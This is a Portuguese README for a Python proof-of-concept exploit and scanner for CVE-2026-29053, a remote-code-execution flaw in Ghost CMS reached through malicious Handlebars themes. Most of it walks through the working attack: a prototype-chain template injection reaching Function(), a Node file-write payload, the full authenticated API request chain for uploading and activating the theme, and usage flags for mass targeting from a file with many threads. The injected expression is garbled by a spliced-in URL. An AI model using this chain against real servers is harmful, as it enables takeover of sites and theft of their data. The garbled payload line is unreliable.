
PoC em Python e scanner de versão para CVE-2026-29053, um RCE autenticado no Ghost CMS abaixo da versão 6.19.1 por meio de templates de tema Handlebars maliciosos.
CVE-2026-29053, afeta o sistema de gerenciamento de conteúdo Ghost construído em Node.js. Versões de 0.7.2 a 6.19.0 são suscetíveis a este problema. Um tema malicioso pode explorar esta vulnerabilidade e executar código arbitrário no servidor que executa o Ghost. A gravidade desta vulnerabilidade é alta, com uma pontuação CVSS de 7.6. Este problema foi corrigido na versão 6.19.1. Um atacante que explore com sucesso esta vulnerabilidade pode obter acesso não autorizado ao servidor e potencialmente assumir o seu controle. Ele poderia então usar esse acesso para manipular dados, roubar informações sensíveis ou realizar outras atividades maliciosas. Os produtos/serviços afetados são todas as versões do Ghost de 0.7.2 a 6.19.0. Para mitigar este risco, os usuários devem atualizar suas instalações do Ghost para a versão 6.19.1 ou posterior o mais rápido possível. Isso garantirá que a vulnerabilidade seja corrigida e não represente mais uma ameaça. Se a atualização não for viável no momento, recomenda-se monitorar de perto quaisquer novos desenvolvimentos nesta vulnerabilidade e aplicar as medidas de segurança necessárias para se proteger contra possíveis ataques. Este CVE não está atualmente listado no catálogo Known Exploited Vulnerabilities (KEV) da CISA, o que significa que não foi ativamente explorado por agentes de ameaças. No entanto, os usuários ainda devem priorizar a atualização de seus sistemas para evitar quaisquer riscos potenciais associados a esta vulnerabilidade.
Um PoC em Python para CVE-2026-29053, uma vulnerabilidade de Execução Remota de Código no Ghost CMS causada por temas especialmente criados que podem executar JavaScript arbitrário durante a renderização de templates.
Afetado: Ghost
0.7.2até6.19.0Ghost CWE-74 — Neutralização Imprópria de Elementos Especiais na Saída Usada por um Componente Downstream
6.19.1O aviso do Ghost descreve o problema como execução de código arbitrário através de temas maliciosos.
Os temas do Ghost usam templates Handlebars (.hbs).
Um template especialmente criado pode abusar da forma como o Ghost processa expressões Handlebars e acessar funcionalidades JavaScript que não deveriam ser alcançáveis a partir de um template de tema normal.
A parte importante do exploit é a expressão do template:
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
O payload é inserido no template antes que o tema malicioso seja empacotado.
O template resultante é então enviado e ativado através da Ghost Admin API.
Quando o Ghost subsequentemente renderiza o template afetado, a expressão injetada faz com que o payload JavaScript seja executado dentro do processo do servidor Ghost.
O PoC primeiro estabelece uma sessão autenticada do Ghost Admin.
O endpoint relevante é:
POST /ghost/api/admin/session/
A requisição gerada pelo PoC é equivalente a:
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
{
"username": "[email protected]",
"password": "PASSWORD"
}
O Ghost retorna o cookie de sessão autenticada.
O PoC verifica o HTTP 201 e então continua usando o mesmo objeto requests.Session().
O exploit cria um arquivo ZIP contendo um tema Ghost mínimo.
Os arquivos importantes são:
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json
O template malicioso é escrito em:
page-rce.hbs
O PoC constrói o arquivo inteiramente em memória usando o módulo zipfile do Python.
O package.json gerado identifica o arquivo como um tema Ghost:
{
"name": "malicious-theme",
"description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
"version": "1.0.0",
"engines": {
"ghost": ">=5.0.0"
},
"license": "MIT"
}
A porção vulnerável do tema é a expressão Handlebars dentro de page-rce.hbs.
O PoC gera:
{{!< default}}
<main class="lab-page">
<h1>CVE-2026-29053 trigger</h1>
<p>This page renders the malicious theme template.</p>
</main>
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
%PAYLOAD% antes que o tema seja comprimido.O PoC padrão usa um payload de escrita em arquivo como prova não destrutiva de execução de código.
Ele gera JavaScript equivalente a:
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
'/tmp/cve-2026-29053-rce.txt',
'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1
Isso demonstra que o payload está sendo executado dentro do processo Node.js do Ghost e pode acessar funcionalidades do Node.js.
O PoC também contém um modo de callback opcional para ambientes de laboratório.
Uma vez que o tema malicioso foi gerado, o PoC o envia para:
POST /ghost/api/admin/themes/upload/
A requisição é um upload de formulário multipart.
Conceitualmente:
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Content-Type: multipart/form-data; boundary=------------------------BOUNDARY
--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip
[ZIP ARCHIVE]
--------------------------BOUNDARY--
O arquivo contém o template .hbs malicioso descrito acima.
O PoC espera HTTP 200 e extrai o nome do tema retornado da resposta JSON.
Após enviar o tema, o PoC o ativa com:
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
O endpoint de ativação é construído dinamicamente:
/ghost/api/admin/themes/{theme_name}/activate/
O exploit para se o Ghost não retornar HTTP 200.
O PoC então cria uma página publicada:
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
{
"pages": [
{
"title": "rce",
"slug": "rce",
"status": "published",
"html": "<p>rce</p>"
}
]
}
O código usa o slug:
/rce/
Se a página já existir, ele tenta recuperar a página existente em vez disso.
O gatilho final é simplesmente:
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION
Isso faz com que o Ghost renderize o tema ativo.
O PoC verifica o HTML retornado em busca de:
CVE-2026-29053 trigger
para confirmar que page-rce.hbs foi renderizado.
A distinção importante é que o atacante não está meramente injetando HTML em uma página.
A entrada maliciosa torna-se parte de um template de tema Handlebars do Ghost.
O template é subsequentemente interpretado pelo sistema de renderização do lado do servidor do Ghost.
A expressão criada alcança funcionalidades JavaScript através da cadeia de protótipo/construção:
__proto__
↓
toString
↓
constructor
↓
Function(...)
↓
JavaScript controlado pelo atacante
O JavaScript resultante é executado no processo do servidor Ghost.
O PoC demonstra isso acessando o módulo fs integrado do Node e escrevendo um arquivo no servidor.
Juntando a interação HTTP:
1. POST /ghost/api/admin/session/
└── autenticar
2. POST /ghost/api/admin/themes/upload/
└── enviar malicious-theme.zip
3. PUT /ghost/api/admin/themes/<name>/activate/
└── ativar tema malicioso
4. POST /ghost/api/admin/pages/
└── criar /rce/
5. GET /rce/
└── renderizar page-rce.hbs malicioso
└── expressão Handlebars
└── execução de JavaScript
└── impacto em nível de SO
O PoC também contém um scanner.
Ele requisita:
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0
A resposta é analisada em busca de:
{
"site": {
"version": "6.19.0"
}
}
O PoC então compara a versão com:
0.7.2 <= version <= 6.19.0
e reporta versões correspondentes como vulneráveis.
O aviso publicado especifica o intervalo afetado como >= 0.7.2, < 6.19.1, com 6.19.1 como a versão corrigida.
python3 exploit.py --target http://TARGET
O caminho de prova padrão é:
/tmp/cve-2026-29053-rce.txt
Ele pode ser alterado com:
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt
Se a configuração do Ghost já foi concluída:
python3 exploit.py --target http://TARGET --skip-setup
As credenciais podem ser fornecidas usando:
--email
--password
Os alvos podem ser fornecidos a partir de um arquivo:
python3 exploit.py --file targets.txt
Número de threads:
python3 exploit.py --file targets.txt --threads 25
O scanner verifica o endpoint do site do Ghost Admin e compara a versão do Ghost reportada com o intervalo vulnerável.
A exploração bem-sucedida permite a execução arbitrária de JavaScript dentro do processo do servidor Ghost.
Dependendo dos privilégios do processo Ghost e do payload usado, isso pode afetar:
O registro CVE publicado classifica o problema como alcançável pela rede, mas exigindo altos privilégios e interação do usuário, com escopo alterado.
Atualize o Ghost para:
6.19.1+
O aviso de vulnerabilidade do Ghost identifica 6.19.1 como a versão corrigida.
Não instale temas não confiáveis.
Este PoC é fornecido para pesquisa de vulnerabilidades, testes de penetração autorizados e fins educacionais.